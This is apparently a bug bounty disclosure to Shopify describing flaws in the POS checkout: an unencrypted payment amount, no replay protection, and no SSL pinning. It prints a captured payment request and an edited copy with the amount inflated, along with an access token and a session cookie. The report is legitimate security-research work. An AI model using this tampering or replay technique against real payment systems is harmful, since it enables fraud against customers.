Shopify · Report #56800
Multiple issues on Checkout Process
How it was found
Description
While reviewing the Shopify POS application we found that the application was encrypting the CHD information, but it was leaving the amount outside of the payload and the post lacked any sort of HMAC signature preventing replay attacks. In addition, given the application does not enforce SSL Pinning a malicious seller could easily install a certificate to force messages through a proxy in which the attacker could alter content.
**Disclosure: We used the cards provided on https://docs.shopify.com/manual/more/shopify-payments/testing-shopify-payments but all of them returned as rejected. Because of this we are assuming that given both messages were declined both altered or unaltered the application is vulnerable. **
ISSUE 1)
- An attacker could potentially edit on the fly the amount and trick clients into being charged more than they agreed to on the screen.
POST /admin/checkouts/478724673/payments.json HTTP/1.1
Host: matias31.myshopify.com
Accept: application/json
Proxy-Connection: keep-alive
Accept-Language: en;q=1
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 1239
X-Shopify-Access-Token: a75123bf22a67c69bcc2b0398c6ded6a
Connection: keep-alive
User-Agent: Shopify POS/35 (iPhone; iOS 8.1; Scale/2.00)
X-ClientRequestGroupID: 604A1AC2-852F-4300-B15D-36E0936CC605
Cookie: _secure_admin_session_id=eba644210071f25ddab934caaa173135; request_method=GET
{"ignore_inventory_policy":true,"checkout_payment":{"amount":38.49,"credit_card":{"ciphertext":"N3DXsjp3J3gN817VTQE1UvVzCflCX+RDS05h7BHbdhNzc0ydr6lWhANmORXeM6xsG9154fKIm293uKZMW1vVYuiCb7CYsi\/Qx597bU1wp2zjZnKCBbLnRmgQQ656rGSb","iv":"uTir8XddCSvHoOee7r7VZg==","key":"Go0StBWztyF5idVq3ODQdzlCWFX3U8jy5yqK9uK\/WXtDjuzOKJb6y2GPkpsJgdixsllGW2xgAOMyELqi3wSaeXcjWYF3g2lXO7WgCp+Kq5A6CCmLPBL+8ocbFB9NI3YDPjyc4K4Dan5AMormO2sszLj0EFoHYDLCUUG6SSAhDmdsHf1ZLZC1f6k71wl8VLcfhDysrdREu2fo\/CYCR5bkxjrncm2b\/zwetrHHvroxY76CC2bLvaBc2XrFMiiJvxgT3dZVET8Ugl3m2vi0A1UAEOIx6Y16aFH1NUZph04T2t3xi+sLakz7i+bCmtfK0nGyjiHeZudyuCk7g113nA6DemznpBDVpcBjCpQUh5rqUnHyLVIeGN3t0rMB1QeHjKLfdxIl8s2QMJI6ZxM4AokD+yVwy4fclZ0n4YBKS+eK+TJEqmvZO8DOIzqyblKUj5cZihPAZSST+HnKniEpc7ciXRHrlISEGWEOOhpsDuqUHYmmcKGxkXj+UZlX0BQkIGoRlRzNY0dDdDOSK6K5HV\/7mslFdepkX00vtAd5kyYjCFJsSE2900ejF9EEGYDX+1Rb0vjv1qQdxZzCPQWIpt+BXfOIQCXI8o+ZIecZEI7YJdOa8VpUnb8vC+4vPsBnZmJVN1v0UZ\/iRs0wS\/zjsaWNSBIoiBmJBHtQpxw9utv+BXY=","checksum":"Ate3s8OY2YD7YT5E+JWqnIcridxO0CVh55ZQKXZ+DTPEWf6T5O1IzRwbN\/2\/IGrjvzrT0J\/ZLNpGjOGLe4lwhw=="},"point_of_sale_device_id":809053,"billing_address":{"zip":"98101"},"location_id":454069,"user_id":7653165,"gateway_action":"sale","auto_finalize":true,"card_source":"manual"}}
Edited
POST /admin/checkouts/478724673/payments.json HTTP/1.1
Host: matias31.myshopify.com
Accept: application/json
Proxy-Connection: keep-alive
Accept-Language: en;q=1
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 1239
X-Shopify-Access-Token: a75123bf22a67c69bcc2b0398c6ded6a
Connection: keep-alive
User-Agent: Shopify POS/35 (iPhone; iOS 8.1; Scale/2.00)
X-ClientRequestGroupID: 604A1AC2-852F-4300-B15D-36E0936CC605
Cookie: _secure_admin_session_id=eba644210071f25ddab934caaa173135; request_method=GET
{"ignore_inventory_policy":true,"checkout_payment":{"amount":33338.49,"credit_card":{"ciphertext":"N3DXsjp3J3gN817VTQE1UvVzCflCX+RDS05h7BHbdhNzc0ydr6lWhANmORXeM6xsG9154fKIm293uKZMW1vVYuiCb7CYsi\/Qx597bU1wp2zjZnKCBbLnRmgQQ656rGSb","iv":"uTir8XddCSvHoOee7r7VZg==","key":"Go0StBWztyF5idVq3ODQdzlCWFX3U8jy5yqK9uK\/WXtDjuzOKJb6y2GPkpsJgdixsllGW2xgAOMyELqi3wSaeXcjWYF3g2lXO7WgCp+Kq5A6CCmLPBL+8ocbFB9NI3YDPjyc4K4Dan5AMormO2sszLj0EFoHYDLCUUG6SSAhDmdsHf1ZLZC1f6k71wl8VLcfhDysrdREu2fo\/CYCR5bkxjrncm2b\/zwetrHHvroxY76CC2bLvaBc2XrFMiiJvxgT3dZVET8Ugl3m2vi0A1UAEOIx6Y16aFH1NUZph04T2t3xi+sLakz7i+bCmtfK0nGyjiHeZudyuCk7g113nA6DemznpBDVpcBjCpQUh5rqUnHyLVIeGN3t0rMB1QeHjKLfdxIl8s2QMJI6ZxM4AokD+yVwy4fclZ0n4YBKS+eK+TJEqmvZO8DOIzqyblKUj5cZihPAZSST+HnKniEpc7ciXRHrlISEGWEOOhpsDuqUHYmmcKGxkXj+UZlX0BQkIGoRlRzNY0dDdDOSK6K5HV\/7mslFdepkX00vtAd5kyYjCFJsSE2900ejF9EEGYDX+1Rb0vjv1qQdxZzCPQWIpt+BXfOIQCXI8o+ZIecZEI7YJdOa8VpUnb8vC+4vPsBnZmJVN1v0UZ\/iRs0wS\/zjsaWNSBIoiBmJBHtQpxw9utv+BXY=","checksum":"Ate3s8OY2YD7YT5E+JWqnIcridxO0CVh55ZQKXZ+DTPEWf6T5O1IzRwbN\/2\/IGrjvzrT0J\/ZLNpGjOGLe4lwhw=="},"point_of_sale_device_id":809053,"billing_address":{"zip":"98101"},"location_id":454069,"user_id":7653165,"gateway_action":"sale","auto_finalize":true,"card_source":"manual"}}
ISSUE 2) The second issue sounds like These POST messages can be replayed. The transactions seams to lack an HMAC signature which a time constrain to reduce the window of opportunity for attacks. We tested these request from different machines, and IPs and they still get a job assigned.
Recommendations
For issue 1) include the amount on the encrypted payload to further protect the packet and also raise the for people trying to abuse the POS application. For issue 2) the use of an HMAC that adds the price, could also make sure the payload is not altered.